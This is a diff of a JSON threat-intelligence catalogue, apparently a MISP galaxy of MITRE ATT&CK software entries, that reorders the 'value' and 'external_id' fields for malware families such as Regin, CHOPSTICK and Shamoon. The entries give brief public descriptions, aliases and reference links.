"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf",
"https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/"
],
- "external_id": "S0176",
"synonyms": [
"Wingbird"
]
},
- "uuid": "a8d3d497-2da9-4797-8e0b-ed176be08654"
+ "uuid": "a8d3d497-2da9-4797-8e0b-ed176be08654",
+ "value": "Wingbird - S0176"
},
{
"description": "is a Trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Nerex May 2012)\n\nAliases: Nerex",
- "value": "Nerex - S0210",
"meta": {
+ "external_id": "S0210",
"refs": [
"https://attack.mitre.org/wiki/Software/S0210",
"http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf",
"https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051515-3445-99"
],
- "external_id": "S0210",
"synonyms": [
"Nerex"
]
},
- "uuid": "c251e4a5-9a2e-4166-8e42-442af75c3b9a"
+ "uuid": "c251e4a5-9a2e-4166-8e42-442af75c3b9a",
+ "value": "Nerex - S0210"
},
{
"description": "Regin is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some Regin timestamps date back to 2003. (Citation: Kaspersky Regin)\n\nAliases: Regin",
- "value": "Regin - S0019",
"meta": {
+ "external_id": "S0019",
"refs": [
"https://attack.mitre.org/wiki/Software/S0019",
"https://securelist.com/files/2014/11/Kaspersky%20Lab%20whitepaper%20Regin%20platform%20eng.pdf"
],
- "external_id": "S0019",
"synonyms": [
"Regin"
]
},
- "uuid": "4c59cce8-cb48-4141-b9f1-f646edfaadb0"
+ "uuid": "4c59cce8-cb48-4141-b9f1-f646edfaadb0",
+ "value": "Regin - S0019"
},
{
"description": "AutoIt backdoor is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.\n\nAliases: AutoIt backdoor",
- "value": "AutoIt backdoor - S0129",
"meta": {
+ "external_id": "S0129",
"refs": [
"https://attack.mitre.org/wiki/Software/S0129",
"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
],
- "external_id": "S0129",
"synonyms": [
"AutoIt backdoor"
]
},
- "uuid": "f5352566-1a64-49ac-8f7f-97e1d1a03300"
+ "uuid": "f5352566-1a64-49ac-8f7f-97e1d1a03300",
+ "value": "AutoIt backdoor - S0129"
},
{
"description": "POWRUNER is a PowerShell script that sends and receives commands to and from the C2 server. (Citation: FireEye APT34 Dec 2017)\n\nAliases: POWRUNER",
- "value": "POWRUNER - S0184",
"meta": {
+ "external_id": "S0184",
"refs": [
"https://attack.mitre.org/wiki/Software/S0184",
"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
],
- "external_id": "S0184",
"synonyms": [
"POWRUNER"
]
},
- "uuid": "09b2cd76-c674-47cc-9f57-d2f2ad150a46"
+ "uuid": "09b2cd76-c674-47cc-9f57-d2f2ad150a46",
+ "value": "POWRUNER - S0184"
},
{
"description": "Power Loader is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nAliases: Power Loader, Win32/Agent.UAW",
- "value": "Power Loader - S0177",
"meta": {
+ "external_id": "S0177",
"refs": [
"https://attack.mitre.org/wiki/Software/S0177",
"https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html",
"https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
],
- "external_id": "S0177",
"synonyms": [
"Power Loader",
"Win32/Agent.UAW"
]
},
- "uuid": "0a9c51e0-825d-4b9b-969d-ce86ed8ce3c3"
+ "uuid": "0a9c51e0-825d-4b9b-969d-ce86ed8ce3c3",
+ "value": "Power Loader - S0177"
},
{
"description": "Pteranodon is a custom backdoor used by Gamaredon Group. (Citation: Palo Alto Gamaredon Feb 2017)\n\nAliases: Pteranodon",
- "value": "Pteranodon - S0147",
"meta": {
+ "external_id": "S0147",
"refs": [
"https://attack.mitre.org/wiki/Software/S0147",
"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
],
- "external_id": "S0147",
"synonyms": [
"Pteranodon"
]
},
- "uuid": "5f9f7648-04ba-4a9f-bb4c-2a13e74572bd"
+ "uuid": "5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
+ "value": "Pteranodon - S0147"
},
{
"description": "RARSTONE is malware used by the Naikon group that has some characteristics similar to PlugX. (Citation: Aquino RARSTONE)\n\nAliases: RARSTONE",
- "value": "RARSTONE - S0055",
"meta": {
+ "external_id": "S0055",
"refs": [
"https://attack.mitre.org/wiki/Software/S0055",
"http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/"
],
- "external_id": "S0055",
"synonyms": [
"RARSTONE"
]
},
- "uuid": "8c553311-0baa-4146-997a-f79acef3d831"
+ "uuid": "8c553311-0baa-4146-997a-f79acef3d831",
+ "value": "RARSTONE - S0055"
},
{
"description": "PUNCHBUGGY is a dynamic-link library (DLL) downloader utilized by FIN8. (Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)\n\nAliases: PUNCHBUGGY",
- "value": "PUNCHBUGGY - S0196",
"meta": {
+ "external_id": "S0196",
"refs": [
"https://attack.mitre.org/wiki/Software/S0196",
"https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html",
"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"
],
- "external_id": "S0196",
"synonyms": [
"PUNCHBUGGY"
]
},
- "uuid": "5c6ed2dc-37f4-40ea-b2e1-4c76140a388c"
+ "uuid": "5c6ed2dc-37f4-40ea-b2e1-4c76140a388c",
+ "value": "PUNCHBUGGY - S0196"
},
{
"description": "Matroyshka is a malware framework used by CopyKittens that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)\n\nAliases: Matroyshka",
- "value": "Matroyshka - S0167",
"meta": {
+ "external_id": "S0167",
"refs": [
"https://attack.mitre.org/wiki/Software/S0167",
"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf",
"https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
],
- "external_id": "S0167",
"synonyms": [
"Matroyshka"
]
},
- "uuid": "1cc934e4-b01d-4543-a011-b988dfc1a458"
+ "uuid": "1cc934e4-b01d-4543-a011-b988dfc1a458",
+ "value": "Matroyshka - S0167"
},
{
"description": "SHOTPUT is a custom backdoor used by APT3. (Citation: FireEye Clandestine Wolf)\n\nAliases: SHOTPUT, Backdoor.APT.CookieCutter, Pirpi",
- "value": "SHOTPUT - S0063",
"meta": {
+ "external_id": "S0063",
"refs": [
"https://attack.mitre.org/wiki/Software/S0063",
"https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html"
],
- "external_id": "S0063",
"synonyms": [
"SHOTPUT",
"Backdoor.APT.CookieCutter",
"Pirpi"
]
},
- "uuid": "58adaaa8-f1e8-4606-9a08-422e568461eb"
+ "uuid": "58adaaa8-f1e8-4606-9a08-422e568461eb",
+ "value": "SHOTPUT - S0063"
},
{
"description": "Orz is a custom JavaScript backdoor used by Leviathan. It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)\n\nAliases: Orz, AIRBREAK",
- "value": "Orz - S0229",
"meta": {
+ "external_id": "S0229",
"refs": [
"https://attack.mitre.org/wiki/Software/S0229",
"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets",
"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
],
- "external_id": "S0229",
"synonyms": [
"Orz",
"AIRBREAK"
]
},
- "uuid": "06d735e7-1db1-4dbe-ab4b-acbe419f902b"
+ "uuid": "06d735e7-1db1-4dbe-ab4b-acbe419f902b",
+ "value": "Orz - S0229"
},
{
"description": "Trojan.Karagany is a backdoor primarily used for recon. The source code for it was leaked in 2010 and it is sold on underground forums. (Citation: Symantec Dragonfly)\n\nAliases: Trojan.Karagany",
- "value": "Trojan.Karagany - S0094",
"meta": {
+ "external_id": "S0094",
"refs": [
"https://attack.mitre.org/wiki/Software/S0094",
"http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf"
],
- "external_id": "S0094",
"synonyms": [
"Trojan.Karagany"
]
},
- "uuid": "82cb34ba-02b5-432b-b2d2-07f55cbf674d"
+ "uuid": "82cb34ba-02b5-432b-b2d2-07f55cbf674d",
+ "value": "Trojan.Karagany - S0094"
},
{
"description": "Kasidet is a backdoor that has been dropped by using malicious VBA macros. (Citation: Zscaler Kasidet)\n\nAliases: Kasidet",
- "value": "Kasidet - S0088",
"meta": {
+ "external_id": "S0088",
"refs": [
"https://attack.mitre.org/wiki/Software/S0088",
"http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"
],
- "external_id": "S0088",
"synonyms": [
"Kasidet"
]
},
- "uuid": "26fed817-e7bf-41f9-829a-9075ffac45c2"
+ "uuid": "26fed817-e7bf-41f9-829a-9075ffac45c2",
+ "value": "Kasidet - S0088"
},
{
"description": "CHOPSTICK is malware family of modular backdoors used by APT28. It has been used from at least November 2012 to August 2016 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28) January 2017\n\nAliases: CHOPSTICK, SPLM, Xagent, X-Agent, webhp",
- "value": "CHOPSTICK - S0023",
"meta": {
+ "external_id": "S0023",
"refs": [
"https://attack.mitre.org/wiki/Software/S0023",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
],
- "external_id": "S0023",
"synonyms": [
"CHOPSTICK",
"SPLM",
@@ -1578,578 +1576,578 @@
"webhp"
]
},
- "uuid": "ccd61dfc-b03f-4689-8c18-7c97eab08472"
+ "uuid": "ccd61dfc-b03f-4689-8c18-7c97eab08472",
+ "value": "CHOPSTICK - S0023"
},
{
"description": "is a rootkit trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Darkmoon Aug 2005)\n\nAliases: Darkmoon",
- "value": "Darkmoon - S0209",
"meta": {
+ "external_id": "S0209",
"refs": [
"https://attack.mitre.org/wiki/Software/S0209",
"http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf",
"https://www.symantec.com/security%20response/writeup.jsp?docid=2005-081910-3934-99"
],
- "external_id": "S0209",
"synonyms": [
"Darkmoon"
]
},
- "uuid": "310f437b-29e7-4844-848c-7220868d074a"
+ "uuid": "310f437b-29e7-4844-848c-7220868d074a",
+ "value": "Darkmoon - S0209"
},
{
"description": "MiniDuke is malware that was used by APT29 from 2010 to 2015. The MiniDuke toolset consists of multiple downloader and backdoor components. The loader has been used with other MiniDuke components as well as in conjunction with CosmicDuke and PinchDuke. (Citation: F-Secure The Dukes)\n\nAliases: MiniDuke",
- "value": "MiniDuke - S0051",
"meta": {
+ "external_id": "S0051",
"refs": [
"https://attack.mitre.org/wiki/Software/S0051",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf"
],
- "external_id": "S0051",
"synonyms": [
"MiniDuke"
]
},
- "uuid": "5e7ef1dc-7fb6-4913-ac75-e06113b59e0c"
+ "uuid": "5e7ef1dc-7fb6-4913-ac75-e06113b59e0c",
+ "value": "MiniDuke - S0051"
},
{
"description": "BBSRAT is malware with remote access tool functionality that has been used in targeted compromises. (Citation: Palo Alto Networks BBSRAT)\n\nAliases: BBSRAT",
- "value": "BBSRAT - S0127",
"meta": {
+ "external_id": "S0127",
"refs": [
"https://attack.mitre.org/wiki/Software/S0127",
"http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/"
],
- "external_id": "S0127",
"synonyms": [
"BBSRAT"
]
},
- "uuid": "64d76fa5-cf8f-469c-b78c-1a4f7c5bad80"
+ "uuid": "64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
+ "value": "BBSRAT - S0127"
},
{
"description": "Elise is a custom backdoor Trojan that appears to be used exclusively by Lotus Blossom. It is part of a larger group of\ntools referred to as LStudio, ST Group, and APT0LSTU. (Citation: Lotus Blossom Jun 2015)\n\nAliases: Elise, BKDR_ESILE, Page",
- "value": "Elise - S0081",
"meta": {
+ "external_id": "S0081",
"refs": [
"https://attack.mitre.org/wiki/Software/S0081",
"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html"
],
- "external_id": "S0081",
"synonyms": [
"Elise",
"BKDR_ESILE",
"Page"
]
},
- "uuid": "7551188b-8f91-4d34-8350-0d0c57b2b913"
+ "uuid": "7551188b-8f91-4d34-8350-0d0c57b2b913",
+ "value": "Elise - S0081"
},
{
"description": "KOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management. (Citation: FireEye APT32 May 2017)\n\nAliases: KOMPROGO",
- "value": "KOMPROGO - S0156",
"meta": {
+ "external_id": "S0156",
"refs": [
"https://attack.mitre.org/wiki/Software/S0156",
"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
],
- "external_id": "S0156",
"synonyms": [
"KOMPROGO"
]
},
- "uuid": "7dbb67c7-270a-40ad-836e-c45f8948aa5a"
+ "uuid": "7dbb67c7-270a-40ad-836e-c45f8948aa5a",
+ "value": "KOMPROGO - S0156"
},
{
"description": "BISCUIT is a backdoor that has been used by APT1 since as early as 2007. (Citation: Mandiant APT1)\n\nAliases: BISCUIT",
- "value": "BISCUIT - S0017",
"meta": {
+ "external_id": "S0017",
"refs": [
"https://attack.mitre.org/wiki/Software/S0017",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
],
- "external_id": "S0017",
"synonyms": [
"BISCUIT"
]
},
- "uuid": "b8eb28e4-48a6-40ae-951a-328714f75eda"
+ "uuid": "b8eb28e4-48a6-40ae-951a-328714f75eda",
+ "value": "BISCUIT - S0017"
},
{
"description": "Uroburos is a rootkit used by Turla. (Citation: Kaspersky Turla)\n\nAliases: Uroburos",
- "value": "Uroburos - S0022",
"meta": {
+ "external_id": "S0022",
"refs": [
"https://attack.mitre.org/wiki/Software/S0022",
"https://securelist.com/the-epic-turla-operation/65545/"
],
- "external_id": "S0022",
"synonyms": [
"Uroburos"
]
},
- "uuid": "80a014ba-3fef-4768-990b-37d8bd10d7f4"
+ "uuid": "80a014ba-3fef-4768-990b-37d8bd10d7f4",
+ "value": "Uroburos - S0022"
},
{
"description": "POWERSOURCE is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped. (Citation: FireEye FIN7 March 2017) (Citation: Cisco DNSMessenger March 2017)\n\nAliases: POWERSOURCE, DNSMessenger",
- "value": "POWERSOURCE - S0145",
"meta": {
+ "external_id": "S0145",
"refs": [
"https://attack.mitre.org/wiki/Software/S0145",
"https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html",
"http://blog.talosintelligence.com/2017/03/dnsmessenger.html"
],
- "external_id": "S0145",
"synonyms": [
"POWERSOURCE",
"DNSMessenger"
]
},
- "uuid": "17e919aa-4a49-445c-b103-dbb8df9e7351"
+ "uuid": "17e919aa-4a49-445c-b103-dbb8df9e7351",
+ "value": "POWERSOURCE - S0145"
},
{
"description": "hcdLoader is a remote access tool (RAT) that has been used by APT18. (Citation: Dell Lateral Movement)\n\nAliases: hcdLoader",
- "value": "hcdLoader - S0071",
"meta": {
+ "external_id": "S0071",
"refs": [
"https://attack.mitre.org/wiki/Software/S0071",
"http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/"
],
- "external_id": "S0071",
"synonyms": [
"hcdLoader"
]
},
- "uuid": "9e2bba94-950b-4fcf-8070-cb3f816c5f4e"
+ "uuid": "9e2bba94-950b-4fcf-8070-cb3f816c5f4e",
+ "value": "hcdLoader - S0071"
},
{
"description": "Pasam is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Pasam May 2012)\n\nAliases: Pasam",
- "value": "Pasam - S0208",
"meta": {
+ "external_id": "S0208",
"refs": [
"https://attack.mitre.org/wiki/Software/S0208",
"http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf",
"https://www.symantec.com/security%20response/writeup.jsp?docid=2012-050412-4128-99"
],
- "external_id": "S0208",
"synonyms": [
"Pasam"
]
},
- "uuid": "e811ff6a-4cef-4856-a6ae-a7daf9ed39ae"
+ "uuid": "e811ff6a-4cef-4856-a6ae-a7daf9ed39ae",
+ "value": "Pasam - S0208"
},
{
"description": "Zeroaccess is a kernel-mode Rootkit that attempts to add victims to the ZeroAccess botnet, often for monetary gain. (Citation: Sophos ZeroAccess)\n\nAliases: Zeroaccess, Trojan.Zeroaccess",
- "value": "Zeroaccess - S0027",
"meta": {
+ "external_id": "S0027",
"refs": [
"https://attack.mitre.org/wiki/Software/S0027",
"https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf"
],
- "external_id": "S0027",
"synonyms": [
"Zeroaccess",
"Trojan.Zeroaccess"
]
},
- "uuid": "552462b9-ae79-49dd-855c-5973014e157f"
+ "uuid": "552462b9-ae79-49dd-855c-5973014e157f",
+ "value": "Zeroaccess - S0027"
},
{
"description": "is a rootkit trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Linfo May 2012)\n\nAliases: Linfo",
- "value": "Linfo - S0211",
"meta": {
+ "external_id": "S0211",
"refs": [
"https://attack.mitre.org/wiki/Software/S0211",
"http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf",
"https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051605-2535-99"
],
- "external_id": "S0211",
"synonyms": [
"Linfo"
]
},
- "uuid": "e9e9bfe2-76f4-4870-a2a1-b7af89808613"
+ "uuid": "e9e9bfe2-76f4-4870-a2a1-b7af89808613",
+ "value": "Linfo - S0211"
},
{
"description": "Skeleton Key is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password. (Citation: Dell Skeleton) Functionality similar to Skeleton Key is included as a module in Mimikatz.\n\nAliases: Skeleton Key",
- "value": "Skeleton Key - S0007",
"meta": {
+ "external_id": "S0007",
"refs": [
"https://attack.mitre.org/wiki/Software/S0007",
"http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/"
],
- "external_id": "S0007",
"synonyms": [
"Skeleton Key"
]
},
- "uuid": "89f63ae4-f229-4a5c-95ad-6f22ed2b5c49"
+ "uuid": "89f63ae4-f229-4a5c-95ad-6f22ed2b5c49",
+ "value": "Skeleton Key - S0007"
},
{
"description": "Shamoon is malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. The 2.0 version was seen in 2016 targeting Middle Eastern states. (Citation: FireEye Shamoon Nov 2016) (Citation: Palo Alto Shamoon Nov 2016)\n\nAliases: Shamoon, Disttrack",
- "value": "Shamoon - S0140",
"meta": {
+ "external_id": "S0140",
"refs": [
"https://attack.mitre.org/wiki/Software/S0140",
"https://www.fireeye.com/blog/threat-research/2016/11/fireeye%20respondsto.html",
"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
],
- "external_id": "S0140",
"synonyms": [
"Shamoon",
"Disttrack"
]
},
- "uuid": "8901ac23-6b50-410c-b0dd-d8174a86f9b3"
+ "uuid": "8901ac23-6b50-410c-b0dd-d8174a86f9b3",
+ "value": "Shamoon - S0140"
},
{
"description": "FALLCHILL is a RAT that has been used by Lazarus Group since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other Lazarus Group malware or delivered when a victim unknowingly visits a compromised website. (Citation: US-CERT FALLCHILL Nov 2017)\n\nAliases: FALLCHILL",
- "value": "FALLCHILL - S0181",
"meta": {
+ "external_id": "S0181",
"refs": [
"https://attack.mitre.org/wiki/Software/S0181",
"https://www.us-cert.gov/ncas/alerts/TA17-318A"
],
- "external_id": "S0181",
"synonyms": [
"FALLCHILL"
]
},
- "uuid": "fece06b7-d4b1-42cf-b81a-5323c917546e"
+ "uuid": "fece06b7-d4b1-42cf-b81a-5323c917546e",
+ "value": "FALLCHILL - S0181"
},
{
"description": "Briba is a trojan used by Elderwood to open a backdoor and download files on to compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Briba May 2012)\n\nAliases: Briba",
- "value": "Briba - S0204",
"meta": {
+ "external_id": "S0204",
"refs": [
"https://attack.mitre.org/wiki/Software/S0204",
"http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf",
"https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051515-2843-99"
],
- "external_id": "S0204",
"synonyms": [
"Briba"
]
},
- "uuid": "79499993-a8d6-45eb-b343-bf58dea5bdde"
+ "uuid": "79499993-a8d6-45eb-b343-bf58dea5bdde",
+ "value": "Briba - S0204"
},
{
"description": "Volgmer is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing. (Citation: US-CERT Volgmer Nov 2017)\n\nAliases: Volgmer",
- "value": "Volgmer - S0180",
"meta": {
+ "external_id": "S0180",
"refs": [
"https://attack.mitre.org/wiki/Software/S0180",
"https://www.us-cert.gov/ncas/alerts/TA17-318B"
],
- "external_id": "S0180",
"synonyms": [
"Volgmer"
]
},
- "uuid": "495b6cdb-7b5a-4fbc-8d33-e7ef68806d08"
+ "uuid": "495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+ "value": "Volgmer - S0180"
},
{
"description": "TDTESS is a 64-bit .NET binary backdoor used by CopyKittens. (Citation: ClearSky Wilted Tulip July 2017)\n\nAliases: TDTESS",
- "value": "TDTESS - S0164",
"meta": {
+ "external_id": "S0164",
"refs": [
"https://attack.mitre.org/wiki/Software/S0164",
"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
],
- "external_id": "S0164",
"synonyms": [
"TDTESS"
]
},
- "uuid": "0b32ec39-ba61-4864-9ebe-b4b0b73caf9a"
+ "uuid": "0b32ec39-ba61-4864-9ebe-b4b0b73caf9a",
+ "value": "TDTESS - S0164"
},
{
"description": "4H RAT is malware that has been used by Putter Panda since at least 2007. (Citation: CrowdStrike Putter Panda)\n\nAliases: 4H RAT",
- "value": "4H RAT - S0065",
"meta": {
+ "external_id": "S0065",
"refs": [
"https://attack.mitre.org/wiki/Software/S0065",
"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
],
- "external_id": "S0065",
"synonyms": [
"4H RAT"
]
},
- "uuid": "8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc"
+ "uuid": "8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc",
+ "value": "4H RAT - S0065"
},
{
"description": "TURNEDUP is a non-public backdoor. It has been dropped by APT33's DROPSHOT malware (also known as Stonedrill). (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)\n\nAliases: TURNEDUP",
- "value": "TURNEDUP - S0199",
"meta": {
+ "external_id": "S0199",
"refs": [
"https://attack.mitre.org/wiki/Software/S0199",
"https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html",
"https://www.brighttalk.com/webcast/10703/275683"
],
- "external_id": "S0199",
"synonyms": [
"TURNEDUP"
]
},
- "uuid": "db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c"
+ "uuid": "db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c",
+ "value": "TURNEDUP - S0199"
},
{
"description": "BOOTRASH is a Bootkit that targets Windows operating systems. It has been used by threat actors that target the financial sector. (Citation: MTrends 2016)\n\nAliases: BOOTRASH",
- "value": "BOOTRASH - S0114",
"meta": {
+ "external_id": "S0114",
"refs": [
"https://attack.mitre.org/wiki/Software/S0114",
"https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf"
],
- "external_id": "S0114",
"synonyms": [
"BOOTRASH"
]
},
- "uuid": "da2ef4a9-7cbe-400a-a379-e2f230f28db3"
+ "uuid": "da2ef4a9-7cbe-400a-a379-e2f230f28db3",
+ "value": "BOOTRASH - S0114"
},
{
"description": "China Chopper is a Web shell hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)\n\nAliases: China Chopper",
- "value": "China Chopper - S0020",
"meta": {
+ "external_id": "S0020",
"refs": [
"https://attack.mitre.org/wiki/Software/S0020",
"https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html",
"http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/",
"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
],
- "external_id": "S0020",
"synonyms": [
"China Chopper"
]
},
- "uuid": "5a3a31fe-5a8f-48e1-bff0-a753e5b1be70"
+ "uuid": "5a3a31fe-5a8f-48e1-bff0-a753e5b1be70",
+ "value": "China Chopper - S0020"
},
{
"description": "Wiper is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies. (Citation: Dell Wiper)\n\nAliases: Wiper",
- "value": "Wiper - S0041",
"meta": {
+ "external_id": "S0041",
"refs": [
"https://attack.mitre.org/wiki/Software/S0041",
"http://www.secureworks.com/cyber-threat-intelligence/threats/wiper-malware-analysis-attacking-korean-financial-sector/"
],
- "external_id": "S0041",
"synonyms": [
"Wiper"
]
},
- "uuid": "a19c49aa-36fe-4c05-b817-23e1c7a7d085"
+ "uuid": "a19c49aa-36fe-4c05-b817-23e1c7a7d085",
+ "value": "Wiper - S0041"
},
{
"description": "Unknown Logger is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign. (Citation: Forcepoint Monsoon)\n\nAliases: Unknown Logger",
- "value": "Unknown Logger - S0130",
"meta": {
+ "external_id": "S0130",
"refs": [
"https://attack.mitre.org/wiki/Software/S0130",
"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
],
- "external_id": "S0130",
"synonyms": [
"Unknown Logger"
]
},
- "uuid": "ab3580c8-8435-4117-aace-3d9fbe46aa56"
+ "uuid": "ab3580c8-8435-4117-aace-3d9fbe46aa56",
+ "value": "Unknown Logger - S0130"
},
{
"description": "gh0st is a remote access tool (RAT). The source code is public and it has been used by many groups. (Citation: FireEye Hacking Team)\n\nAliases: gh0st",
- "value": "gh0st - S0032",
"meta": {
+ "external_id": "S0032",
"refs": [
"https://attack.mitre.org/wiki/Software/S0032",
"https://www.fireeye.com/blog/threat-research/2015/07/demonstrating%20hustle.html"
],
- "external_id": "S0032",
"synonyms": [
"gh0st"
]
},
- "uuid": "88c621a7-aef9-4ae0-94e3-1fc87123eb24"
+ "uuid": "88c621a7-aef9-4ae0-94e3-1fc87123eb24",
+ "value": "gh0st - S0032"
},
{
"description": "is a backdoor used by APT37 that has been used to target South Korean government and military organizations in 2017. It is typically dropped using a Hangul Word Processor (HWP) exploit. (Citation: FireEye APT37 Feb 2018)\n\nAliases: DOGCALL",
- "value": "DOGCALL - S0213",
"meta": {
+ "external_id": "S0213",
"refs": [
"https://attack.mitre.org/wiki/Software/S0213",
"https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf"
],
- "external_id": "S0213",
"synonyms": [
"DOGCALL"
]
},
- "uuid": "0852567d-7958-4f4b-8947-4f840ec8d57d"
+ "uuid": "0852567d-7958-4f4b-8947-4f840ec8d57d",
+ "value": "DOGCALL - S0213"
},
{
"description": "Helminth is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable. (Citation: Palo Alto OilRig May 2016)\n\nAliases: Helminth\n\nContributors: Robert Falcone",
- "value": "Helminth - S0170",
"meta": {
+ "external_id": "S0170",
"refs": [
"https://attack.mitre.org/wiki/Software/S0170",
"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
],
- "external_id": "S0170",
"synonyms": [
"Helminth"
]
},
- "uuid": "eff1a885-6f90-42a1-901f-eef6e7a1905e"
+ "uuid": "eff1a885-6f90-42a1-901f-eef6e7a1905e",
